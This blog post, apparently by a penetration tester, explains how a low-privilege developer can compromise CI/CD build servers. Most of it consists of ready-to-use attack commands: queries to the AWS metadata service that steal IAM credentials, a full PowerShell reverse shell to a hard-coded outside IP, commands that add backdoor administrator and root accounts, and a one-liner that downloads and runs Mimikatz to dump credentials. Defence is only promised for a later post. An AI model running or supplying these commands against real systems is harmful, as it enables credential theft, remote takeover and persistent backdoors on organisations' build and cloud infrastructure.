Attacking CI/CD Tools - The crown jewels - Series 1

Introduction

CI/CD toolchain which builds and deploys the infrastructure and code into production is as critical as a production-grade system. CI/CD pipelines are at the heart of daily operations for many organizations today, also the place in our technology stack where our infrastructure has access to many different resources, from development and production environment to analytics keys and code signing credentials.

With such wide access comes security considerations making CI/CD tools effectively extend the attack surface of our production system to our build and automated test and deployment environment. We should always keep in mind that the attack vectors are not always external, internal threats always exist.

This blog post is an attempt to explain how malicious insiders, penetration testers, or attackers with limited privileges can target CI/CD tools to penetrate deep inside and gain access to the information infrastructure. The term developer in the blogpost refers to Developers with limited access, Grey box Penetration testers, and hackers who gained access to internal infrastructure.

Attack Techniques

1) How can a Developer gain access to the cloud infrastructure using CI/CD?

When organizations do not have approved policies and procedures in place, there is always a scope for misconfigurations.

During an assessment where the infra is hosted on AWS, I was given developer access with limited privileges to build tools to configure and test builds/stages/Jobs. I harnessed this to my advantage by creating an executable task in one of the stages to grab the AWS instance metadata

a) To retrieve the public IP of the build server

Invoke-RestMethod -uri http://169.254.169.254/latest/meta-data/public-ipv4

b) To retrieve the private IP of the build server

Invoke-RestMethod -uri http://169.254.169.254/latest/meta-data/local-ipv4

c) To retrieve the Secret Key and Access Key of the AWS account associated with this build server

Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

c) To retrieve the IAM role associated with this build server

Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/iam/info

d) To retrieve the temporary credentials of the IAM role

Invoke-WebRequest -Uri http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole

2) How can a Developer gain access to a build server using CI/CD?

This simple trick works like a charm in the majority of the assessments. To gain control over the build server, attackers usually aim to gain interactive shell access for arbitrary command execution. With a reverse shell technique, the target machine that initiates the connection to the user, and the attacker’s computer listens for incoming connections on a specified port.

The primary reason why reverse shells are often used by attackers is the way that most firewalls, Security Groups, Network Acl’s are configured. They usually do not limit outgoing connections at all.

Create a task to execute the reverse shell command upon running the plan. Replace the IP and port with your IP and listening port

powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘3.106.125.141’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

3) Backdooring the Build server

With the similar technique used above, I can issue a few commands listed below to create a user account to gain remote access to the build server

a) If the build server is hosted on a Windows Server. The below commands will create a user account for the attacker and provide RDP access to the server.

net user /add cloudsecguy lasttest@123
net localgroup administrators cloudsecguy /add
net localgroup “Remote Desktop Users” cloudsecguy /add

b) If the build server is hosted on a Linux server. The below commands will create a user account “toor” with the password “password”

echo ‘toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh’ >> /etc/passwd

4) Dumping the credentials from the build servers

Using a similar technique described in section 1, one can always leverage the post-exploitation tool Mimkatz that dumps hashes from memory.

a) Create a PowerShell task and run the plan with this command that downloads mimikatz and executes it

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/7efb7eeaabeb3daf916ead7856bb621bbca331f4/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

b) Add this command in a file and Create a PowerShell task to run and execute it on the build server.

However, this technique requires disabling the defender on the target server and bypass any endpoint protection. More techniques to crack the hashes can be learned from this site

---

As a continuation of this blog post, there is series 2 where I have listed other attacks where attackers have no access to build servers but gain access utilizing attacks such as automated build triggers to attack the build servers, configuring such attacks on different build servers and identifying and defending similar attacks on our infrastructure.